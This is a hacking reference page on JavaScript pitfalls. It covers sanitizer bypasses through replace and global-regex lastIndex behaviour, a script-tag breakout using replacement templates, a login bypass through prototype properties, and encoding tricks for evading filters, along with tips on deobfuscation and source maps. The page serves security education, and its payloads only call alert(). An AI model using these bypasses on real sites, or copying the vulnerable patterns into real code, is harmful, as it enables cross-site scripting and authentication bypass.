JavaScript

A very popular language used to create interactivity on the web, and on the backend using NodeJS

Cross-Site Scripting (XSS)NodeJS Prototype Pollution postMessage Exploitation

Common Pitfalls

String Replacement

`replace` vs `replaceAll`

You might be surprised to see that replace() doesn't actually replace all the characters it finds, only the first match. Instead, replaceAll() should be used if you want to replace every occurrence. This can be useful if a developer thinks they sanitized user input with this function, and tested it with only one character, while an attacker can just input one dummy character at the start that will be replaced and afterward continue with the payload unsanitized:

> 'AAAA'.replace('A', 'B')
'BAAA'
> 'AAAA'.replaceAll('A', 'B')
'BBBB'
// Seems "safe"
> '<svg onload=alert()>'.replace('<', '&lt;').replace('>', '&gt;')
'&lt;svg onload=alert()&gt;'
// Expoitable with multiple characters
> '<><svg onload=alert()>'.replace('<', '&lt;').replace('>', '&gt;')
'&lt;&gt;<svg onload=alert()>'

Replacement String Templates

The second argument to replace() functions determine what should be put in place of the matched part. It might come as a surprise that when this section is user-controlled input, there are some special character sequences that are not taken literally. The following sequences insert a special piece of text instead (source):

Pattern Inserts

Pattern	Inserts
`$$`	Inserts a `"$"` (escape sequence)
`$&`	Inserts the matched substring
$`	Inserts the portion of the string that precedes the matched substring
`$'`	Inserts the portion of the string that follows the matched substring
`$n` (RegExp only)	Inserts the `n`th (`1`-indexed) capturing group where `n` is a positive integer less than 100
`$<name>` (RegExp only)	Inserts the named capturing group where `name` is the group name

$$

Inserts a "$" (escape sequence)

$&

Inserts the matched substring

Inserts the portion of the string that precedes the matched substring

$'

Inserts the portion of the string that follows the matched substring

$n (RegExp only)

Inserts the nth (1-indexed) capturing group where n is a positive integer less than 100

$<name> (RegExp only)

Inserts the named capturing group where name is the group name

The $` and $' are especially interesting, as they repeat a preceding or following piece of text, which may contain otherwise blocked characters. A neat trick using mentioned here abuses this to repeat a </script> string that would normally be HTML encoded in the payload:

Intended functionality

payload = "alert()//"  // Naive attempt, will be quoted
payload = "</script><script>alert()//"  // Try to escape tag, will be encoded

encoded = JSON.stringify(payload.replaceAll('<', '&lt;').replaceAll('>', '&gt;'))
'<script>let a = REPLACE_ME</script>'.replace("REPLACE_ME", encoded)

<script>let a = "alert()//"</script>
<script>let a = "&lt;/script&gt;&lt;script&gt;alert()//"</script>

Exploit

payload = "$'$`alert()//"  // Insert '</script>' following, and '<script>' preceding

<script>let a = "</script><script>let a = alert()//"</script>

Global Regexes

Regular Expressions (RegEx) in JavaScript can be written in between / slash characters. After the last slash, flags can be given such as i for case insensitivity and g for global search. This global feature is interesting because it can cause some unintuitive behaviour if you don't fully understand its purpose.

One common mistake is the lack of the global flag in a RegEx that is supposed to replace all characters. When using no regex, only the first match is replaced, the same goes for a non-global regex. Only using a global regex or the replaceAll function, all matches will be replaced:

"aa".replace("a", "b")    // 'ba'
"aa".replace(/a/, "b")    // 'ba'
"aa".replace(/a/g, "b")   // 'bb'
"aa".replaceAll("a", "b") // 'bb'

When a global regex is re-used, another unexpected behaviour can happen. The instance's .test() and .exec() methods will keep save .lastIndex value that stores the last matched index. On the next call, the search is only continued from this last index, not from the start. Only if a match fails will it be reset to the start.

While primarily useful for matching against the same string, this can cause unexpected behaviour when multiple different strings are matched against the same global RegEx:

// String with 2 matches will only match twice, then resets
const re = /A/g;
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)
re.test("1st A 2nd A") // true  (starting at 5,  lastIndex=11)
re.test("1st A 2nd A") // false (starting at 11, lastIndex=0)
re.test("1st A 2nd A") // true  (starting at 0,  lastIndex=5)

// lastIndex can be offset by one string, causing another to fail matching
const re = /A/g;
re.test("....A") // true  (starting at 0, lastIndex=5)
re.test("AAAA")  // false (starting at 5, lastIndex=0)

// Increasing match position works until it is before lastIndex
const re = /A/g;
re.test("A")    // true  (starting at 0, lastIndex=1)
re.test(".A")   // true  (starting at 1, lastIndex=2)
re.test("..A")  // true  (starting at 2, lastIndex=3)
re.test("...A") // true  (starting at 3, lastIndex=4)
re.test("..A")  // false (starting at 4, lastIndex=0)

One example implementation of a check that can be bypassed with this behaviour is the following:

Vulnerable Example

const re = /[<>"']/g;

function check(arr) {
    return arr.filter((item) => !re.test(item));
}

const msg = [
    "hello",
    "<script>alert()</script>",
    'x" onerror="alert()',
    "bye",
];
console.log(check(msg));  // ['hello', 'bye']

The above check tries to filter out strings matching characters common in XSS payloads, <>"'. It does so with the /g global flag and uses .test() to check for matches. As we now know, this will remember the .lastIndex on any match so that the next check is offset. We can exploit this by intentionally prepending a large string that matches right at the end, putting .lastIndex=29. The next match for the script tag or attribute injection will be before the 29th index, and thus not be matched. That allows the following payload to bypass it fully:

Exploit

const msg2 = [
    "XXXXXXXXXXXXXXXXXXXXXXXXXXXX<",
    "<script>alert()</script>",
    "XXXXXXXXXXXXXXXXXXXXXXXXXXXX<",
    'x" onerror="alert()',
];
console.log(check(msg2));  // ['<script>alert()</script>', 'x" onerror="alert()']

Prototype Properties

In JavaScript, all Objects have a prototype that they inherit methods or properties from. See Prototype Pollution for a technique that abuses writable prototypes. Here, we will look at abusing the existing prototypes to bypass certain checks when objects are accessed with dynamic keys.

Take the following code example:

Vulnerable Example

const users = {
  'admin': {
    password: crypto.randomBytes(16).toString('hex'),
  }
};

app.get('/login', (req, res) => {
  const { username, password } = req.query;

  if (users[username] && users[username].password === password) {
    res.json(true);
  } else {
    res.json(false);
  }
});

In this example, the username and password come from the query string. A check is performed that the username is inside the users dictionary and that its password property matches the given password. Only then will it return true.

It is vulnerable because not just 'admin' is a valid key in the users object. Its inherited prototype properties like .constructor or .toString are still valid properties, but are functions instead of a password entry to match against. The users[username] will pass, but then its .password property will become undefined. Luckily, we can match this with our given password by removing the password query parameter, making it undefined as well.

Payload URL

/login?username=toString

username = "toString"
password = undefined
users[username] -> [Function: toString]             // true
users[username].password -> undefined === password  // true

This was a solution to a simple JavaScript CTF challenge with a detailed writeup below:

Filter Bypass

Often alphanumeric characters are allowed in a filter, so being able to decode Base64 and evaluate the result should be enough to do anything while bypassing a filter. Acquiring the primitives to do this decoding and evaluating however can be the difficult part as certain ways of calling the functions are blocked. The simplest idea is using atob to decode Base64, and then eval to evaluate the string:

> btoa("alert()")  // Encoding
'YWxlcnQoKQ=='
> atob("YWxlcnQoKQ")  // Decoding
'alert()'

eval(atob("YWxlcnQoKQ"))  // Obfuscated payload

Inside a String

When injecting inside of a JavaScript string (using " or ' quotes), you may be able to escape certain blocked characters using the following escape sequences with different properties:

\x41 = 'A': Hex escape, shortest! (CyberChef)
\u0041 = 'A': Unicode escape, non-ASCII characters too! (CyberChef)
\101 = 'A': Octal escapes, numeric-only payload! (CyberChef)

Other than these generic escapes, there are a few special characters that get their own escapes:

Syntax Meaning

Syntax	Meaning
`\\`	Backslash
`\'`	Single quote
`\"`	Double quote
\`	Backtick
(0x0a) `\n`	New Line
(0x0d) `\r`	Carriage Return
(0x09) `\t`	Horizontal Tab
(0x0b) `\v`	Vertical Tab
(0x08) `\b`	Backspace
(0x0c) `\f`	Form Feed

\\

Backslash

\'

Single quote

\"

Double quote

Backtick

(0x0a) \n

New Line

(0x0d) \r

Carriage Return

(0x09) \t

Horizontal Tab

(0x0b) \v

Vertical Tab

(0x08) \b

Backspace

(0x0c) \f

Form Feed

When inside template literals (using ` backticks), you can use ${} expressions to evaluate inline JavaScript code which may contain any code you want to run, or evaluate to any string you need.

`${alert()}`
`${String.fromCharCode(97,110,121,116,104,105,110,103)}` -> 'anything'

Unrelated to strings, you can also use these templates as "tagged templates" to call functions without parentheses:

alert``

No alphanumeric characters

Without `"` quotes

RegExp objects can be defined by surrounding text with / slashes, and are automatically coerced into a string surrounded by slashes again. This can become valid executable JavaScript code in a few different ways:

eval(1+/1,alert(),1/+1)  // Use numbers to turn '/' into a divide
1/1,alert(),1/1

eval(unescape(/%2f%0aalert()%2f/))  // Use unescape() with URL encoding and newlines
//
alert()//

eval(/alert()/.source)  // Use .source to extract the inner text of RegExp
alert()

Another common method is using String.fromCharCode() chains to build out string character-by-character:

Python

>>> f"String.fromCharCode({','.join(str(ord(c)) for c in 'alert()')})"
'String.fromCharCode(97,108,101,114,116,40,41)'

eval(String.fromCharCode(97,108,101,114,116,40,41))
alert()

Comments

A few different and uncommon ways of creating comments in JavaScript:

alert()//Regular comment

alert()/*multiline
comment*/alert()

alert()<!--HTML comment

#!shebang comment (start of line only)

-->HTML comment (start of line only)

Reverse Engineering

Client-side javascript is often minified or obfuscated to make it more compact or harder to understand. Luckily there are many tools out there to help with this process of reverse engineering, like the manual JavaScript Deobfuscator. While manually trying to deobfuscate the code, dynamic analysis can be very helpful. If you find that a function decrypts some string to be evaluated for example, try throwing more strings into that function at runtime with breakpoints.

While doing it manually will get you further, sometimes it's quicker to use automated tools made for a specific obfuscator. The common obfuscator.io for example can be perfectly deobfuscated using webcrack, as well as minified/bundled code:

curl https://example.com/script.js | webcrack -o example

Source maps

Bundled/minified code is often hard to read, even with the abovementioned tools. If you're lucky, a website might have published .map source map files together with the minified code. These are normally used by the DevTools to recreate source code in the event of an exception while debugging. But we can use these files ourselves to recreate the exact source code to the level of comments and whitespace!

Viewing these in the DevTools is easy, just check the Sources -> Page -> Authored directory to view the source code if it exists:

It gets these from the special //# sourceMappingURL= comment at the end of minified JavaScript files, which are often the original URL appended with .map. Here is an example:

index.7808df6e.js

document.querySelector("button")?.addEventListener("click",(()=>{const e=Math.floor(101*Math.random());document.querySelector("p").innerText=`Hello, you are no. ${e}!`,console.log(e)}));
//# sourceMappingURL=index.7808df6e.js.map

index.7808df6e.js.map

{"mappings":"AAAAA,SAASC,cAAc,WAAWC,iBAAiB,SAAS,KAC1D,MAAMC,EAAcC,KAAKC,MAAsB,IAAhBD,KAAKE,UAEnCN,SAASC,cAAc,KAA8BM,UAAY,sBAAyBJ,KAC3FK,QAAQC,IAAIN,EAAA","sources":["src/script.ts"],"sourcesContent":["document.querySelector('button')?.addEventListener('click', () => {\n  const num: number = Math.floor(Math.random() * 101);\n  const greet: string = 'Hello';\n  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;\n  console.log(num);\n});"],"names":["document","querySelector","addEventListener","num","Math","floor","random","innerText","console","log"],"version":3,"file":"index.7808df6e.js.map"}

There exists a tool sourcemapper that can take a URL and extract all the source code files:

$ sourcemapper -url https://parcel-greet.netlify.app/index.7808df6e.js.map -output example
[+] Retrieving Sourcemap from https://parcel-greet.netlify.app/index.7808df6e.js.map.
[+] Read 646 bytes, parsing JSON.
[+] Retrieved Sourcemap with version 3, containing 1 entries.
[+] Writing 280 bytes to example/src/script.ts.
[+] Done
$ cat example/src/script.ts
document.querySelector('button')?.addEventListener('click', () => {
  const num: number = Math.floor(Math.random() * 101);
  const greet: string = 'Hello';
  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;
  console.log(num);
});

Add source map from file

Sometimes, the source map is not given to you by the application you are testing, but you can find it online from sources such as GitHub or a CDN. As explained here, Chrome allows you to manually add a source map to a JavaScript file from another URL.

Right-click anywhere inside the minified source code, then press Add source map... and enter the absolute URL where the .map file can be found.

Note: After reloading, the source map will be lost. You will need to re-add the source map like explained above to see the sources.

Local Overrides

One very useful feature of Chrome's DevTools is its Local Overrides system. You can override the content of any URL by editing a file locally, while you have the DevTools open.

Start by setting up local overrides as explained in the link above. Once configured and enabled (under Sources -> Overrides -> Enable Local Overrides), you can edit any file in the Sources tab and press Ctrl+S to save it. Edits in CSS properties will also be saved. From the Network tab, you can even override response headers in a special .headers file.

You can notice any overridden files by the icon that appears, and disable it completely by unchecking Enable Local Overrides.

Note: This feature only works when DevTools are open. If you reload the page while they are closed, the overrides will not be used.

Note: This feature does not work in the Burp Suite Browser, because some default arguments prevent access to the filesystem. This is a known issue and you should use your local Chrome installation instead.

Frames

When looking at complex or edge cases, it can be useful to know how the browser understands the current context. The Application -> Frames panel in Chrome is useful for this as it shows a variety of properties of all frames in the current tab, like how the Content-Security-Policy is parsed, the Origin, the Owner Element, and much more (source).

Snippets

Useful bits of JavaScript that can quickly give information about an application, or help in an exploit. Run these in the DevTools Console or at will using a Bookmarklet.

Log all non-default global (window) variables

const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const defaultProps = new Set(Object.getOwnPropertyNames(iframe.contentWindow));
iframe.remove();

for (const prop in window) {
    if (window.hasOwnProperty(prop) && !defaultProps.has(prop)) {
        console.log(prop, window[prop]);
    }
}

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